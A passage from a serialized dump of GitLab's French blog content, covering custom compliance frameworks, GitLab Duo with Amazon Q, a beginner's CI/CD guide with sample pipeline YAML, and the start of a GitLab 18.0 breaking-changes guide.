détection et de gestion des incidents de sécurité**  \n\n  * Analyse des dépendances activée  \n  * SAST activé \n  * DAST activé\n\nLorsqu'il est appliqué à vos projets, ce framework vous permet de surveiller toute erreur de conformité et d'identifier les corrections envisageables. Notez que vous pouvez associer plusieurs frameworks de conformité à vos projets, par exemple, pour couvrir les exigences d'intégrité des processus SOC 2.\n\n## Comment définir des stratégies de sécurité en accord avec les exigences de conformité ?\n\nBien que cet aspect ne soit pas obligatoire, il est fortement recommandé d'appliquer des stratégies de sécurité aux projets associés à un framework de conformité personnalisé. Cette approche garantit que les exigences de conformité critiques sont correctement appliquées de manière automatisée et cohérente dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Par exemple, si votre framework de conformité personnalisé impose que des scans de sécurité soient exécutés sur chaque pipeline, une stratégie de sécurité peut en forcer l’exécution.\n\nGitLab fournit différentes stratégies de sécurité pour répondre aux différents objectifs de sécurité et de conformité :\n\n* [Stratégie d'exécution des scans](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/) : impose l'exécution de scans de sécurité dans les pipelines ou selon un calendrier précis.  \n* [Politique d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) : définit des paramètres et règles d'approbation au niveau du projet en fonction des résultats des scans.  \n* [Stratégie d'exécution de pipeline](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) : force l'exécution de jobs CI/CD spécifiques dans les pipelines. \n* [Stratégie de gestion des vulnérabilités](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/) : corrige automatiquement les vulnérabilités afin qu’elles soient supprimées de la branche par défaut.\n\nSi votre framework de conformité personnalisé exige l'exécution de scans SAST, voici comment créer une stratégie de sécurité pour en garantir l’exécution automatique :\n\n1. Accédez à un projet qui dispose d'un framework de conformité personnalisé incluant les **scans SAST**. \n2. Dans la barre latérale du projet, sélectionnez **Sécurisation > Politiques**.\n3. Cliquez sur le bouton **Nouvelle stratégie**.  \n4. Dans la section **Stratégie d'exécution des scans**, cliquez sur le bouton **Sélectionner une stratégie**. \n5. Renseignez le **Nom** et la **Description**. \n6. Dans la section **Actions**, sélectionnez **SAST** comme type de scan à exécuter.\n\n![Écran des actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Dans la section **Conditions**, sélectionnez tous les pipelines, quelle que soit la branche.\n\n![Écran des conditions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Cliquez sur le bouton **Configurer avec une merge request**.  \n9. Une merge request est alors créée dans un projet distinct dédié aux stratégies de sécurité appliquées à ce projet.\n10. Cliquez sur le bouton **Fusionner**.\n\nDésormais, les scans SAST s'exécuteront automatiquement sur toutes les branches du projet afin de garantir le respect continu des exigences de conformité. Nous vous conseillons de parcourir les autres types de stratégies de sécurité pour identifier celles qui répondent le mieux à vos besoins.\n\n## 5 bonnes pratiques pour des frameworks de conformité efficaces\n\nPour tirer pleinement parti des frameworks de conformité personnalisés de GitLab, nous vous conseillons de suivre les principes suivants :\n\n1. **Avancez pas à pas :** commencez par une seule réglementation ou norme critique avant d'aller plus loin.  \n2. **Impliquez les principales parties prenantes :** incluez les équipes de conformité, de sécurité et de développement dans la création du framework.  \n3. **Automatisez dans la mesure du possible :** utilisez GitLab CI/CD pour automatiser les contrôles de conformité.  \n4. **Documentez minutieusement votre approche :** conservez une documentation claire du lien entre chaque exigence réglementaire et les contrôles GitLab mis en place.  \n5. **Révisez régulièrement vos frameworks :** mettez à jour vos frameworks à mesure que les réglementations évoluent ou que de nouvelles exigences sont nécessaires.\n\n## Lancez-vous dès aujourd'hui\n\nLes frameworks de conformité personnalisés de GitLab marquent une avancée majeure pour intégrer la conformité directement dans le workflow de développement DevSecOps. En les adoptant, vous réduisez les frais liés à la conformité, améliorez votre gestion des risques et accélérez vos cycles de développement logiciel, tout en garantissant la meilleure conformité possible aux exigences réglementaires.\n\nGrâce à cette approche, vos équipes bénéficient à la fois de la flexibilité dont elles ont besoin pour répondre aux exigences réglementaires et de la structure indispensable pour garantir des pratiques de conformité cohérentes dans l'ensemble de l'entreprise.\n\nDans un contexte réglementaire de plus en plus exigeant, des outils comme les frameworks de conformité personnalisés de GitLab sont essentiels pour traiter la conformité comme un processus continu, sans compromettre la vélocité de développement.\n\n> Lancez-vous dès aujourd'hui avec un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n\nPour en savoir plus, consultez nos ressources connexes :\n\n* [Documentation sur les frameworks de conformité personnalisés](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/)\n* [Epic sur les frameworks de conformité personnalisés](https://gitlab.com/groups/gitlab-org/-/epics/13295)\n* [Documentation sur les stratégies de sécurité](https://docs.gitlab.com/user/application_security/policies/)\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)",[673,1069,1067,675,676],{"slug":1321,"featured":92,"template":683},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:fr-fr:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":1327,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1328,"content":1334,"config":1340,"_id":1342,"_type":16,"title":1343,"_source":17,"_file":1344,"_stem":1345,"_extension":20},"/fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"title":1329,"description":1330,"ogTitle":1329,"ogDescription":1330,"noIndex":6,"ogImage":1331,"ogUrl":1332,"ogSiteName":841,"ogType":842,"canonicalUrls":1332,"schema":1333},"GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes","GitLab Duo combiné à Amazon Q analyse les descriptions de vos tickets et génère des solutions de code complètes et opérationnelles.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097127/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750097126673.png","https://about.gitlab.com/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-28\",\n      }\n                  ",{"title":1329,"description":1330,"authors":1335,"heroImage":1331,"date":1336,"body":1337,"category":697,"tags":1338,"updatedDate":1339},[969],"2025-04-28","Vous est-il déjà arrivé de passer des jours, voire des semaines, à transformer des idées complexes en code opérationnel ? Toutes les équipes de développement connaissent cette situation. Malgré un concept solide et des exigences claires, il peut falloir beaucoup de temps et d'efforts pour élaborer un code déployable. \n\nEt si les capacités de l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/) pouvaient tout changer ? C'est exactement ce que propose [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/). En associant la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ? \") complète alimentée par l'IA de GitLab aux fonctionnalités avancées de cloud computing d'AWS, cette intégration vous permet d'accélérer considérablement votre processus de développement d'applications, le tout au sein de votre workflow GitLab habituel. Le code que vos équipes de développement écrivent en plusieurs jours peut désormais être généré automatiquement en quelques minutes à partir des descriptions et exigences incluses dans vos tickets GitLab. \n\n## Transformer un ticket en code opérationnel\n\nDécouvrons comment cette fonctionnalité d'IA agentique fonctionne en pratique. Imaginez que vous deviez développer une application de calcul de prêt immobilier. Voici comment procéder à l'aide de GitLab Duo combiné à Amazon Q :\n\n1. **Créez votre ticket dans GitLab :** créez un [ticket](https://docs.gitlab.com/user/project/issues/) classique, contenant la liste complète des exigences de votre application. Ce ticket sert de point de départ pour développer votre solution logicielle.\n\n2. **Activez Amazon Q :** une fois votre ticket créé, ajoutez simplement un commentaire contenant la commande d'action rapide “/q dev” pour lancer Amazon Q et laisser la magie opérer. \n\n3. **Génération automatique du code :** GitLab Duo combiné à Amazon Q analyse votre ticket et le contexte de votre code source, puis génère automatiquement un code répondant à toutes vos spécifications. Et cerise sur le gâteau : l'IA soumet également ce code dans une merge request, prête pour la revue.\n\n![Capture d'écran de la fenêtre contextuelle de GitLab Duo combiné à Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097156/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097156018.png)\n\n4. **Revue de l'application générée** : consultez la merge request pour vérifier que le code correspond bien à vos attentes et apportez des ajustements si nécessaire. \n\n5. **Testez votre application** : enfin, assurez-vous que l'application s'exécute correctement. Vous disposez désormais d'un code opérationnel conforme à vos exigences initiales, sans effort superflu.\n\n## Une nouvelle ère pour votre développement logiciel\n\nGitLab Duo combiné à Amazon Q révolutionne le développement logiciel en automatisant intelligemment les tâches complexes, réduisant ainsi drastiquement le temps nécessaire pour produire du code opérationnel. En tirant parti de l'IA agentique, vous pouvez accélérer le déploiement de vos nouvelles fonctionnalités, ce qui permet à vos équipes de se concentrer sur des tâches plus stratégiques.\n\nAvec GitLab Duo combiné à Amazon Q, dites adieu aux tâches manuelles et développez des logiciels plus rapidement, plus efficacement et plus facilement. Vous pouvez ainsi :\n\n* **Accélérer votre processus de développement** en automatisant la création de code conformément aux exigences du projet.\n* **Maintenir une qualité constante** lors de la génération de code, pour l'ensemble de vos projets.\n* **Réduire la charge mentale** en limitant la traduction manuelle des exigences en code opérationnel.\n* **Accélérer vos cycles de sortie des nouvelles versions** en supprimant les goulots d'étranglement, notamment ceux liés à l'implémentation.\n* **Optimiser l'expertise de votre équipe** en la recentrant sur la revue de code et l'optimisation de ce dernier, plutôt que sur son écriture.\n\nVous souhaitez découvrir GitLab Duo combiné à Amazon Q ? Regardez notre vidéo de démonstration et découvrez dès aujourd'hui comment optimiser votre workflow de développement.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jxxzNst3jpo?si=j_LQdZhUnwqoQEst\" title=\"GitLab Duo with Amazon Q demo video for dev workflow\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Pour en savoir plus sur GitLab Duo combiné à Amazon Q, [consultez notre documentation](https://docs.gitlab.com/user/duo_amazon_q/ \"Documentation Amazon Q\") ou [contactez notre équipe](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/).",[699,700,1069,1067,676,235],"2025-06-03",{"slug":1341,"featured":92,"template":683},"gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","content:fr-fr:blog:gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","Gitlab Duo Amazon Q Transform Ideas Into Code In Minutes","fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"_path":1347,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1348,"content":1353,"config":1359,"_id":1361,"_type":16,"title":1362,"_source":17,"_file":1363,"_stem":1364,"_extension":20},"/fr-fr/blog/getting-started-with-gitlab-understanding-ci-cd",{"title":1349,"description":1350,"ogTitle":1349,"ogDescription":1350,"noIndex":6,"ogImage":1247,"ogUrl":1351,"ogSiteName":841,"ogType":842,"canonicalUrls":1351,"schema":1352},"Premiers pas avec GitLab : comprendre l'approche CI/CD ","Découvrez tout ce que vous devez savoir sur l’approche CI/CD grâce à ce guide dédié aux débutants.","https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Premiers pas avec GitLab : comprendre l'approche CI/CD \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-04-25\",\n      }\n                  ",{"title":1349,"description":1350,"authors":1354,"heroImage":1247,"date":1355,"body":1356,"category":676,"tags":1357,"updatedDate":1358},[1295],"2025-04-25","Imaginez un cycle de développement logiciel dans lequel chaque modification de code est automatiquement compilée, testée, puis déployée auprès de vos utilisateurs. C'est tout l'intérêt de l'[approche CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ? \") (intégration continue/livraison continue) qui vous aide à détecter les bogues à un stade précoce, garantit la qualité du code et vous permet de livrer des logiciels plus rapidement et plus fréquemment.\n\n## Qu'est-ce que l'approche CI/CD ?\n\n* **L'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue ? \")** est une pratique de développement qui consiste à fusionner régulièrement les modifications apportées au code dans un dépôt partagé, de préférence plusieurs fois par jour, afin qu'elles soient vérifiées via un processus automatisé de compilation et de tests. Les équipes de développement peuvent ainsi détecter rapidement les problèmes et conflits éventuels.  \n* **La [livraison continue](https://about.gitlab.com/fr-fr/topics/continuous-delivery/ \"Qu'est-ce que la livraison continue ? \")** complète l'intégration continue en automatisant le pipeline pour la sortie de nouvelles versions. *À tout moment*, l'application reste déployable vers un environnement donné (par exemple, préproduction, production), en un seul clic ou par le biais d'un déclenchement automatique.  \n* **Le déploiement continu** pousse encore plus loin la logique d’automatisation. *Chaque compilation réussie* est directement mise en production, sans validation manuelle. Ce niveau d'automatisation requiert une confiance totale dans vos tests automatisés et vos processus de déploiement.\n\n## Pourquoi choisir GitLab CI/CD ?\n\nEntièrement intégré à la plateforme GitLab, GitLab CI/CD est un système puissant, qui permet d'automatiser facilement chaque étape de votre cycle de développement logiciel. Avec GitLab CI/CD, vous pouvez notamment :\n\n* **Automatiser l'intégralité de votre cycle de développement :** compilation, tests, déploiement, tout peut être orchestré via le [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \").  \n* **Détecter les bogues en amont :** les problèmes sont identifiés et corrigés bien avant d’atteindre l'environnement de production. \n* **Obtenir des retours immédiats :** les équipes de développement obtiennent un retour rapide sur leurs modifications de code.  \n* **Renforcer la collaboration :** les workflows automatisés fluidifient le travail en équipe.  \n* **Accélérer la livraison :** les livraisons de nouvelles versions sont plus rapides et plus fréquentes.  \n* **Réduire les risques :** les erreurs de déploiement et les retours en arrière sont considérablement réduits.\n\n## Quels sont les principaux composants de GitLab CI/CD ?\n\n- **`.gitlab-ci.yml` :** ce [fichier YAML](https://docs.gitlab.com/ee/ci/yaml/), situé dans le répertoire racine de votre projet, définit l'ensemble du pipeline CI/CD, y compris les étapes, les jobs et les runners.  \n- **[GitLab Runner](https://docs.gitlab.com/runner/):** cet agent exécute les jobs CI/CD sur l'infrastructure de votre choix (par exemple, machines physiques, machines virtuelles, conteneurs Docker ou clusters [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ? \")).  \n- **[Étapes](https://docs.gitlab.com/ee/ci/yaml/#stages):** elles définissent l'ordre d'exécution des jobs (par exemple, compilation, tests et déploiement).  \n- **[Jobs](https://docs.gitlab.com/ee/ci/yaml/#job-keywords):** chaque job représente une unité de travail spécifique exécutée lors de l'étape correspondante (par exemple, compiler du code, exécuter des tests ou déployer dans l'environnement de préproduction).\n\n## Comment configurer GitLab CI ?\n\nGitLab CI est très facile à prendre en main. Voici un exemple basique de fichier `.gitlab-ci.yml` :\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the application...\"\n\ntest_job:\n  stage: test\n  script:\n    - echo \"Running tests...\"\n\ndeploy_job:\n  stage: deploy\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n\n```\n\nCette configuration définit trois étapes : « compilation », « test » et « déploiement ». Chaque étape contient un job qui exécute un script simple.\n\n### Exemples de configuration CI/CD\n\nExplorons quelques exemples plus concrets.\n\n**Création, compilation et déploiement d'une application Node.js**\n\nPrenons l'exemple du pipeline ci-dessous qui compile et teste une application Node.js à l'aide de npm, puis la déploie sur Heroku via [dpl](https://docs.gitlab.com/ci/examples/deployment/). L'étape de déploiement du pipeline utilise des [variables GitLab CI/CD](https://docs.gitlab.com/ci/variables/), qui permettent de stocker des informations sensibles (par exemple, des identifiants de connexion) et de les utiliser en toute sécurité dans les processus CI/CD. \n\nDans cet exemple, une clé API pour déployer l'application sur Heroku est stockée sous le nom de variable `$HEROKU_API_KEY`, cette clé étant utilisée par l'outil dpl.\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  image: node:latest\n  script:\n    - npm install\n    - npm run build\n\ntest:\n  stage: test\n  image: node:latest\n  script:\n    - npm run test\n\ndeploy:\n  stage: deploy\n  image: ruby:latest\n  script:\n    - gem install dpl\n    - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_API_KEY\n\n```\n\n**Déploiement vers différents environnements (préproduction et production)**\n\nGitLab propose également la gestion des [environnements](https://docs.gitlab.com/ci/environments/) au sein du pipeline CI/CD pour suivre les déploiements vers des cibles d'infrastructure. Dans l'exemple ci-dessous, le pipeline ajoute des étapes avec une propriété « environnement » pour les environnements de préproduction et de production. Alors que l'étape deploy_staging exécute son script automatiquement, l'étape deploy_production nécessite une approbation manuelle afin d'éviter tout déploiement accidentel en production.  \n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy_staging\n  - deploy_production\n\nbuild:\n  # ...\n\ntest:\n  # ...\n\ndeploy_staging:\n  stage: deploy_staging\n  script:\n    - echo \"Deploying to staging...\"\n  environment:\n    name: staging\n\ndeploy_production:\n  stage: deploy_production\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n  when: manual  # Requires manual approval\n\n```\n\n### GitLab Auto DevOps\n\n[GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) simplifie encore plus l'approche CI/CD en fournissant une configuration prédéfinie pour compiler, tester et déployer automatiquement vos applications. Cette suite de fonctionnalités tire parti des bonnes pratiques et des normes du secteur pour rationaliser votre workflow.\n\nPour activer Auto DevOps :\n\n1. Accédez à **Paramètres > CI/CD > Pipelines généraux**.  \n2. Activez l'option **Auto DevOps**.\n\nAuto DevOps détecte automatiquement le langage et le framework de votre projet et configure les étapes de compilation, de tests et de déploiement nécessaires. Il est donc inutile de créer un fichier `.gitlab-ci.yml`.\n\n### Catalogue CI/CD\n\nLe catalogue CI/CD est une liste de projets contenant des [composants CI/CD](https://docs.gitlab.com/ee/ci/components/) publiés par la communauté, que vous pouvez utiliser pour optimiser votre workflow CI/CD. Vous pouvez y contribuer en ajoutant vos propres composants ou en enrichissant ceux déjà existants. Les composants publiés dans le [catalogue CI/CD](https://gitlab.com/explore/catalog) sont disponibles sur GitLab.com.\n\n> [Tutoriel : Comment configurer votre premier composant GitLab CI/CD](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n\n### Templates CI\n\nVous pouvez également créer vos propres [templates CI](https://docs.gitlab.com/ee/ci/examples/) afin de standardiser et de réutiliser les configurations de vos pipelines CI/CD entre plusieurs projets. Cette pratique favorise la cohérence et réduit les doublons.\n\nPour créer un template CI :\n\n1. Créez un fichier `.gitlab-ci.yml` dans un projet ou un dépôt dédié.  \n2. Définissez la configuration CI/CD souhaitée dans ce template.  \n3. Dans le fichier `.gitlab-ci.yml`, utilisez le terme `include` pour inclure ce template.\n\n## Optimisez votre processus de développement\n\nGitLab CI/CD transforme en profondeur votre workflow de développement de logiciels. En maîtrisant ses concepts, en configurant efficacement vos pipelines CI/CD et en tirant parti de fonctionnalités tels qu'Auto DevOps, le catalogue CI/CD et les templates CI, vous pouvez automatiser l'ensemble de votre cycle de développement logiciel et livrer des logiciels de haute qualité plus rapidement et plus efficacement.\n\nVous souhaitez approfondir vos connaissances ? Inscrivez-vous aux [cours disponibles sur le portail GitLab University](https://university.gitlab.com/). \n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/).\n\n## Articles de la série « Premiers pas avec GitLab »\n\nDécouvrez les autres articles de notre série « Premiers pas avec GitLab » :\n\n- [Comment gérer les utilisateurs](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [Comment importer vos projets dans GitLab](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Comment maîtriser la gestion de projet](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-mastering-project-management/)\n- [La gemme gitlab-triage : votre alliée pour des workflows Agile automatisés](https://about.gitlab.com/fr-fr/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n",[110,1256,1257,1067,676,1069],"2025-05-26",{"slug":1360,"featured":92,"template":683},"getting-started-with-gitlab-understanding-ci-cd","content:fr-fr:blog:getting-started-with-gitlab-understanding-ci-cd.yml","Getting Started With Gitlab Understanding Ci Cd","fr-fr/blog/getting-started-with-gitlab-understanding-ci-cd.yml","fr-fr/blog/getting-started-with-gitlab-understanding-ci-cd",{"_path":1366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1367,"content":1373,"config":1381,"_id":1383,"_type":16,"title":1384,"_source":17,"_file":1385,"_stem":1386,"_extension":20},"/fr-fr/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"title":1368,"description":1369,"ogTitle":1368,"ogDescription":1369,"noIndex":6,"ogImage":1370,"ogUrl":1371,"ogSiteName":841,"ogType":842,"canonicalUrls":1371,"schema":1372},"Guide des changements cassants et suppressions de GitLab 18.0","Anticipez dès maintenant les suppressions prévues dans notre prochaine version majeure. Évaluez les conséquences pour votre projet, puis consultez les mesures d'atténuation décrites dans la documentation afin de garantir une transition fluide vers GitLab 18.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","https://about.gitlab.com/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide des changements cassants et suppressions de GitLab 18.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Martin Brümmer\"},{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"},{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2025-04-18\",\n      }\n                  ",{"title":1368,"description":1369,"authors":1374,"heroImage":1370,"date":1378,"body":1379,"category":676,"tags":1380},[1375,1376,1377],"Martin Brümmer","Fabian Zimmer","Sam Wiskow","2025-04-18","GitLab 18.0, notre prochaine version majeure, inclut de nouvelles fonctionnalités qui repoussent les limites de l'innovation DevSecOps, tandis que certaines options obsolètes sont supprimées. Découvrez dans cet article un récapitulatif complet des évolutions majeures à venir, ainsi que des pistes concrètes pour en limiter l’impact sur vos projets.\n\n## Fenêtres de déploiement GitLab 18.0\n\n### GitLab.com  \n\nLes changements cassants sur GitLab.com sont concentrés sur ces trois périodes clés : \n\n- Du 21 au 23 avril 2025  \n- Du 28 au 30 avril 2025  \n- Du 5 au 7 mai 2025\n\nDe nombreux autres évolutions continuent d'être déployés au fil des mois. Pour en savoir plus sur les modifications les plus sensibles apportées prévues à ces dates, consultez notre [documentation dédie aux changements cassants](https://docs.gitlab.com/update/breaking_windows/).\n\n***Remarque :** exceptionnellement, certaines mises à jour importantes peuvent intervenir légèrement en dehors de ces périodes.*\n\n### GitLab Self-Managed\n\nGitLab 18.0 est disponible depuis le 15 mai. Consultez le calendrier complet des sorties de nouvelles versions sur [cette page](https://about.gitlab.com/releases/).\n\n### GitLab Dedicated\n\nLa mise à niveau vers GitLab 18.0 aura lieu pendant votre fenêtre de maintenance, entre le 24 et le 29 juin 2025. Pour en savoir plus et connaître votre fenêtre de maintenance, consultez [cette page](https://docs.gitlab.com/administration/dedicated/maintenance/#release-rollout-schedule).\n\nNous mettons également à votre disposition des outils et ressources adaptés pour vous aider à mesurer l'impact de ces changements sur votre environnement et préparer votre passage à la version 18.0. N'hésitez pas à consulter [toutes les informations sur ces outils, ressources et les mesures d'atténuation](#tools-and-resources-to-manage-your-impact).\n\nEn outre, la [page des obsolescences](https://docs.gitlab.com/ee/update/deprecations?removal_milestone=18.0) répertorie l'ensemble des suppressions prévues dans la version 18.0. Découvrez ci-dessous les nouveautés de cette année et comment vous y préparer selon la configuration de votre déploiement.\n\n## Changements cassants\n\n### Impact élevé\n\n**1. Token pour job CI/CD : suppression du paramètre « Limiter l'accès depuis votre projet »**\n\nGitLab.com | GiitLab Self-Managed | GitLab Dedicated\n\nDans GitLab 14.4, nous avions mis en place le paramètre **Limiter l'accès à CI_JOB_TOKEN** pour améliorer la sécurité en **[restreignant l'accès *depuis* les tokens de job CI/CD de votre projet (CI_JOB_TOKEN)](https://docs.gitlab.com/ci/jobs/ci_job_token/#limit-your-projects-job-token-access)** Dans la version 16.3 de GitLab, ce paramètre a été renommé **Limiter l'accès *à partir* de ce projet** pour plus de clarté.\nDans la version 15.9 de GitLab, nous avions introduit une solution alternative : le paramètre **[Groupes et projets autorisés](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-group-or-project-to-the-job-token-allowlist)**. Celui-ci contrôle l'accès au token pour job CI/CD de votre projet à l'aide d'une liste d'autorisations et constitue une amélioration significative par rapport à l'original. La première itération a été rendue obsolète dans GitLab 16.0 et sa suppression est prévue dans GitLab 18.0.\n\nLe paramètre **Limiter l'accès *à partir* de ce projet** est désactivé par défaut pour tous les nouveaux projets. Depuis GitLab 16.0, une fois ce paramètre désactivé dans un projet, il n’est plus possible de le réactiver, mais vous pouvez utiliser le paramètre **Groupes et projets autorisés** pour contrôler l'accès au token pour job de vos projets.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#cicd-job-token---limit-access-from-your-project-setting-removal)\n- [Vérification GitLab Detective disponible](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**2. Token pour job CI/CD : application de la liste d'autorisation « Groupes et projets autorisés »**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated\n\nIntroduit dans GitLab 15.9, le **[paramètre « Groupes et projets autorisés »](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#add-a-group-or-project-to-the-job-token-allowlist)** (renommé **Limiter l'accès à ce projet** dans la version 16.3 de GitLab), vous permet de gérer l'accès au token pour job CI/CD de votre projet. Lorsque le paramètre est défini sur **Uniquement ce projet et tous les groupes et projets de la liste d'autorisation**, seuls les groupes ou projets explicitement ajoutés à cette liste peuvent accéder à votre projet par le biais d'un token de job.\n\n* **Avant GitLab 15.9**, le token de job était accessible depuis n'importe quel projet, car la liste d'autorisation était désactivée par défaut et définie sur [**« Tous les groupes et projets »**](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#allow-any-project-to-access-your-project), sans restriction d'accès.\n* **Depuis GitLab 17.6**, les administrateurs des instances GitLab Self-Managed ou GitLab Dedicated peuvent désormais [**imposer des règles de sécurité plus strictes pour tous les projets**](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#job-token-permissions) et empêcher les chargés de maintenance des projets de sélectionner **Tous les groupes et projets**. Cette modification garantit un niveau de sécurité plus élevé entre les projets.   \n* Dans GitLab 18.0, ce paramètre sera activé par défaut. Sur GitLab.com, nous remplirons automatiquement les listes d'autorisations de vos projets en fonction des logs d'authentification de votre projet.   \n* Pour anticiper ce changement sur **GitLab.com**, les chargés de maintenance du projet qui utilisent le token de job pour l'authentification inter-projets doivent remplir les listes d'autorisations **Groupes et projets autorisés**, puis définir le paramètre sur **Uniquement** **ce projet et tous les groupes et projets de la liste d'autorisation**. Nous vous encourageons à utiliser les [outils de migration](https://docs.gitlab.com/ci/jobs/ci_job_token/#auto-populate-a-projects-allowlist) disponibles pour ***automatiser*** la création de la liste d'autorisation en fonction des [logs d'authentification](https://docs.gitlab.com/ci/jobs/ci_job_token/#job-token-authentication-log) du projet avant le passage à la version GitLab 18.0.   \n* Les **utilisateurs de GitLab Self-Managed** doivent remplir les listes d'autorisations avant d'effectuer la mise à niveau vers la version 18.0.   \n* Les **utilisateurs de GitLab Dedicated** doivent élaborer, en collaboration avec l'équipe chargée de leur compte GitLab, une approche adaptée à leur instance.\n\n- [Avis d'obsolescence](https://docs.gitlab.com/update/deprecations/#cicd-job-token---authorized-groups-and-projects-allowlist-enforcement)\n- [Documentation](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-gr)\n- [Vérification GitLab Detective disponible](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**3. Renforcement de la portée des tokens pour le proxy de dépendances**\n\nGitLab.com | GitLab Self-Managed | GitLab Dedicated\n\nActuellement, le proxy de dépendances pour les conteneurs accepte les commandes **`docker login`** et **`docker pull`** en utilisant des tokens **d'accès personnels, de projet** ou **de groupe**, sans vérifier leurs portées. \n\nÀ partir de GitLab 18.0, il exigera la présence des portées **`read_registry`** et **`write_registry`** pour valider toute authentification. Après cette modification, les tentatives d'authentification avec des tokens ne disposant 